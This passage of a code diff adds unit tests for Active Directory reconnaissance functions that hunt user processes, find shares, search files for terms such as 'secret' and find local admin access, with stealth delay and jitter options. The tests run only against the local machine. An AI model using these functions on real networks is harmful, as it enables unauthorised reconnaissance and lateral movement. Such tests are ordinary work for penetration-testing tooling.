-Encoding ASCII target_users.txt + if ( (Invoke-ProcessHunter -ComputerName "$env:computername" -UserFile ".\target_users.txt" | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + } + finally { + Remove-Item -Force ".\target_users.txt" + } + It "Should accept -NoPing flag" { + if ( (Invoke-ProcessHunter -ComputerName "$env:computername" -UserName $env:USERNAME -NoPing | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + It "Should accept -Delay and -Jitter arguments" { + if ( (Invoke-ProcessHunter -UserName $env:USERNAME -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername", "$env:computername") | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } +} + + +Describe "Invoke-ShareFinder" { + It "Should accept -ComputerName argument" { + if ( (Invoke-ShareFinder -ComputerName "$env:computername" | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + try { + It "Should accept -ComputerFile argument" { + "$env:computername","$env:computername" | Out-File -Encoding ASCII targets.txt + if ( (Invoke-ShareFinder -ComputerFile ".\targets.txt" | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + } + finally { + Remove-Item -Force ".\targets.txt" + } + It "Should accept -ExcludeStandard argument" { + {Invoke-ShareFinder -ComputerName "$env:computername" -ExcludeStandard} | Should Not Throw + } + It "Should accept -ExcludePrint argument" { + if ( (Invoke-ShareFinder -ComputerName "$env:computername" -ExcludePrint | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + It "Should accept -ExcludeIPC argument" { + if ( (Invoke-ShareFinder -ComputerName "$env:computername" -ExcludeIPC | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + It "Should accept -CheckShareAccess argument" { + if ( (Invoke-ShareFinder -ComputerName "$env:computername" -CheckShareAccess | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + It "Should accept -CheckAdmin argument" { + if ( (Invoke-ShareFinder -ComputerName "$env:computername" -CheckAdmin | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + It "Should accept -NoPing argument" { + if ( (Invoke-ShareFinder -NoPing -ComputerName "$env:computername" | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + It "Should accept -Delay and -Jitter arguments" { + if ( (Invoke-ShareFinder -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername", "$env:computername") | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } +} + + +Describe "Invoke-FileFinder" { + It "Should accept -ComputerName argument" { + {Invoke-FileFinder -ComputerName "$env:computername"} | Should Not Throw + } + try { + It "Should accept -ComputerFile argument" { + "$env:computername","$env:computername" | Out-File -Encoding ASCII targets.txt + {Invoke-FileFinder -ComputerFile ".\targets.txt"} | Should Not Throw + } + } + finally { + Remove-Item -Force ".\targets.txt" + } + try { + It "Should accept -ShareList argument" { + "\\$($env:computername)\\IPC$" | Out-File -Encoding ASCII shares.txt + {Invoke-FileFinder -ShareList ".\shares.txt"} | Should Not Throw + } + } + finally { + Remove-Item -Force ".\shares.txt" + } + It "Should accept -Terms argument" { + {Invoke-FileFinder -Terms secret,testing -ComputerName "$env:computername"} | Should Not Throw + } + It "Should accept -OfficeDocs argument" { + {Invoke-FileFinder -OfficeDocs -ComputerName "$env:computername"} | Should Not Throw + } + It "Should accept -FreshEXEs argument" { + {Invoke-FileFinder -FreshEXEs -ComputerName "$env:computername"} | Should Not Throw + } + It "Should accept -LastAccessTime argument" { + {Invoke-FileFinder -LastAccessTime "01/01/2000" -ComputerName "$env:computername"} | Should Not Throw + } + It "Should accept -LastWriteTime argument" { + {Invoke-FileFinder -LastWriteTime "01/01/2000" -ComputerName "$env:computername"} | Should Not Throw + } + It "Should accept -ExcludeFolders argument" { + {Invoke-FileFinder -ExcludeFolders -ComputerName "$env:computername"} | Should Not Throw + } + It "Should accept -ExcludeHidden argument" { + {Invoke-FileFinder -ExcludeHidden -ComputerName "$env:computername"} | Should Not Throw + } + It "Should accept -CreationTime argument" { + {Invoke-FileFinder -CreationTime "01/01/2000" -ComputerName "$env:computername"} | Should Not Throw + } + It "Should accept -OutFile argument" { + {Invoke-FileFinder -ComputerName "$env:computername" -OutFile "found_files.csv"} | Should Not Throw + if(Test-Path -Path .\found_files.csv) { + $Null = Remove-Item -Force .\found_files.csv + } + } + It "Should accept -NoPing argument" { + {Invoke-FileFinder -NoPing -ComputerName "$env:computername"} | Should Not Throw + } + It "Should accept -Delay and -Jitter arguments" { + {Invoke-FileFinder -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername","$env:computername")} | Should Not Throw + } +} + + +Describe "Find-LocalAdminAccess" { + It "Should accept -ComputerName argument" { + if ( (Find-LocalAdminAccess -ComputerName "$env:computername" | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + try { + It "Should accept -ComputerFile argument" { + "$env:computername","$env:computername" | Out-File -Encoding ASCII targets.txt + if ( (Find-LocalAdminAccess -ComputerFile ".\targets.txt" | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + } + finally { + Remove-Item -Force ".\targets.txt" + } + It "Should accept -NoPing argument" { + if ( (Find-LocalAdminAccess -NoPing -ComputerName "$env:computername" | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + It "Should accept -Delay and -Jitter arguments" { + if ( (Find-LocalAdminAccess -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername","$env:computername") | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } +} + + +Describe "Invoke-EnumerateLocalAdmin" { + It "Should accept -ComputerName argument" { + if ( (Invoke-EnumerateLocalAdmin -ComputerName "$env:computername" | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + try { + It "Should accept -ComputerFile argument" { + "$env:computername","$env:computername" | Out-File -Encoding ASCII targets.txt + if ( (Invoke-EnumerateLocalAdmin -ComputerFile ".\targets.txt" | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + } + finally { + Remove-Item -Force ".\targets.txt" + } + It "Should accept -NoPing argument" { + if ( (Invoke-EnumerateLocalAdmin -NoPing -ComputerName "$env:computername" | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + It "Should accept -Delay and -Jitter arguments" { + if ( (Invoke-EnumerateLocalAdmin -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername","$env:computername") | Measure-Object).count -lt 1) { + Throw "Insuffient results returned" + } + } + It "Should accept -Outfile argument" { + Invoke-EnumerateLocalAdmin -ComputerName "$env:computername" -OutFile "local_admins.csv" + ".\local_admins.csv" | Should Exist + Remove-Item -Force .\local_admins.csv + } +} |